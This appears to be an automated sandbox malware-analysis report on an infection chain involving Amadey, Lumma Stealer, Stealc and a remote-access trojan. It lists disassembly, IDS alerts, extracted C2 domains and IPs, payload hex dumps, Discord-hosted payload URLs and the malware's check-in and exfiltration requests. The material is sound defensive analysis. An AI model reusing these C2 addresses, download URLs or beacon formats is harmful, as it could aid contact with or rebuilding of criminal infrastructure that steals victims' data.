Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov ecx, ebx	4_2_00441333
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx esi, byte ptr [eax]	4_2_00464380
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then jmp edx	4_2_004633B0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_004633B0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then cmp al, 2Eh	4_2_0044AC04
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	4_2_0044E400
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edi, esi	4_2_0043ECDE
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	4_2_00457CA0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov ebx, eax	4_2_0042D500
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov word ptr [ebx], ax	4_2_0043F510
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov byte ptr [esi], cl	4_2_0043F510
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then jmp eax	4_2_0043D5AF
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-67BC38F0h]	4_2_00461648
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	4_2_0044DE70
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov dword ptr [esp+3Ch], 595A5B84h	4_2_00460E3A
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	4_2_0045C6D0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov edi, dword ptr [esp+54h]	4_2_0044CEDA
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then mov word ptr [eax], cx	4_2_0043C6E0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then jmp edx	4_2_00462EB0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_00462EB0
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	4_2_00445F00
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx edi, word ptr [edx]	4_2_00448F00
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then xor byte ptr [ecx+ebx], bl	4_2_00463720
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+52B71DE2h]	4_2_00461720
Source: C:\Users\user\AppData\Local\Temp\1001096001\LummaC2.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ebx-09A22FB6h]	4_2_0045F7E0
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 4x nop then jmp 05279ED0h	6_2_05279C02
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_052786CA
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	6_2_052786D0
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 4x nop then jmp 05279ED0h	6_2_05279B08
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 4x nop then jmp 05273AD8h	6_2_05273A20
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 4x nop then jmp 05273AD8h	6_2_05273A18
Source: C:\Users\user\AppData\Local\Temp\1001103001\uhshdsh.exe	Code function: 4x nop then jmp 05279ED0h	6_2_05279AF8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49704 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.16:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49706 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2027619 - Severity 1 - ET MALWARE Observed Malicious SSL Cert (Quasar CnC) : 150.241.90.56:38204 -> 192.168.2.5:49751
Source: Network traffic	Suricata IDS: 2035595 - Severity 1 - ET MALWARE Generic AsyncRAT Style SSL Cert : 150.241.90.56:38204 -> 192.168.2.5:49751
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49735 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49778 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49799 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49825 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49910 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50020 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49844 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49844 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49854 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49954 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49954 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49965 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49965 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50026 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50030 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50030 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50026 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50046 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50052 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50039 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50073 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50063 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50029 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49835 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49835 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: authorisev.site
Source: Malware configuration extractor	URLs: opposezmny.site
Source: Malware configuration extractor	URLs: goalyfeastz.site
Source: Malware configuration extractor	URLs: contemteny.site
Source: Malware configuration extractor	URLs: servicedny.site
Source: Malware configuration extractor	URLs: faulteyotk.site
Source: Malware configuration extractor	URLs: computeryrati.site
Source: Malware configuration extractor	URLs: seallysl.site
Source: Malware configuration extractor	URLs: dilemmadu.site
Source: Malware configuration extractor	URLs: b.strongest.network
Source: Malware configuration extractor	IPs: 185.215.113.16

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 150.241.90.56 ports 0,2,3,4,8,38204

Yara detected Generic Downloader

Source: Yara match	File source: 6.2.uhshdsh.exe.4a4ede0.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.InstallUtil.exe.500000.0.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.5:49751 -> 150.241.90.56:38204

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 04:02:26 GMTContent-Type: application/octet-streamContent-Length: 2177024Last-Modified: Tue, 29 Oct 2024 03:47:22 GMTConnection: keep-aliveETag: "67205aca-213800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 10 74 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 40 74 00 00 04 00 00 ec 45 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 77 62 61 68 6e 74 68 00 90 1a 00 00 70 59 00 00 86 1a 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 68 61 74 65 70 70 64 00 10 00 00 00 00 74 00 00 06 00 00 00 10 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 10 74 00 00 22 00 00 00 16 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 04:02:33 GMTContent-Type: application/octet-streamContent-Length: 2994688Last-Modified: Tue, 29 Oct 2024 03:47:09 GMTConnection: keep-aliveETag: "67205abd-2db200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d2 00 00 00 00 00 00 00 c0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 30 00 00 04 00 00 8b ff 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 90 05 00 00 00 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 65 6a 69 69 6f 78 6a 70 00 00 2b 00 00 b0 05 00 00 fc 2a 00 00 90 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 74 70 68 7a 68 71 74 00 10 00 00 00 b0 30 00 00 04 00 00 00 8c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 30 00 00 22 00 00 00 90 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 04:03:30 GMTContent-Type: application/octet-streamContent-Length: 2838528Last-Modified: Tue, 29 Oct 2024 03:25:40 GMTConnection: keep-aliveETag: "672055b4-2b5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 af 68 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 62 7a 71 66 6f 6a 70 00 00 2b 00 00 a0 00 00 00 f0 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6e 76 77 64 71 6e 72 00 20 00 00 00 a0 2b 00 00 04 00 00 00 2a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 2e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 29 Oct 2024 04:03:52 GMTContent-Type: application/octet-streamContent-Length: 2838528Last-Modified: Tue, 29 Oct 2024 03:25:40 GMTConnection: keep-aliveETag: "672055b4-2b5000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2c 00 00 04 00 00 af 68 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 62 7a 71 66 6f 6a 70 00 00 2b 00 00 a0 00 00 00 f0 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 6e 76 77 64 71 6e 72 00 20 00 00 00 a0 2b 00 00 04 00 00 00 2a 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2b 00 00 22 00 00 00 2e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /attachments/1286706039475015741/1300518838215114933/LummaC2.exe?ex=6721220d&is=671fd08d&hm=31bca25a6562063808f9baa4d06ddb104a4792384ef240b65fa3792577e0284b& HTTP/1.1Host: cdn.discordapp.com
Source: global traffic	HTTP traffic detected: GET /attachments/1286706039475015741/1300606302422044754/uhshdsh.exe?ex=67217382&is=67202202&hm=13583f233ad58023fb89754e68c3247bed0b2e3df764943e53b1226a7c26e027& HTTP/1.1Host: cdn.discordapp.comCookie: __cf_bm=peH_uda1jZZtxDsQ_tcvDA7NwgKLOaqae1cbXEwK4vo-1730174534-1.0.1.1-dxyP.1KWz1NAIV5D1OFuPBGhYoPuq1gbaPV4ACiHYMOyQG9G5OpAlzb9uodk2k8tTjd7mFgXlmIO.88cgRQ6eA; _cfuvid=4XdEyTvWD4_IxdARf3qslSPrtttA5ovxidxRD7UhNw4-1730174534284-0.0.1.1-604800000
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 30 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001096001&unit=246122658369
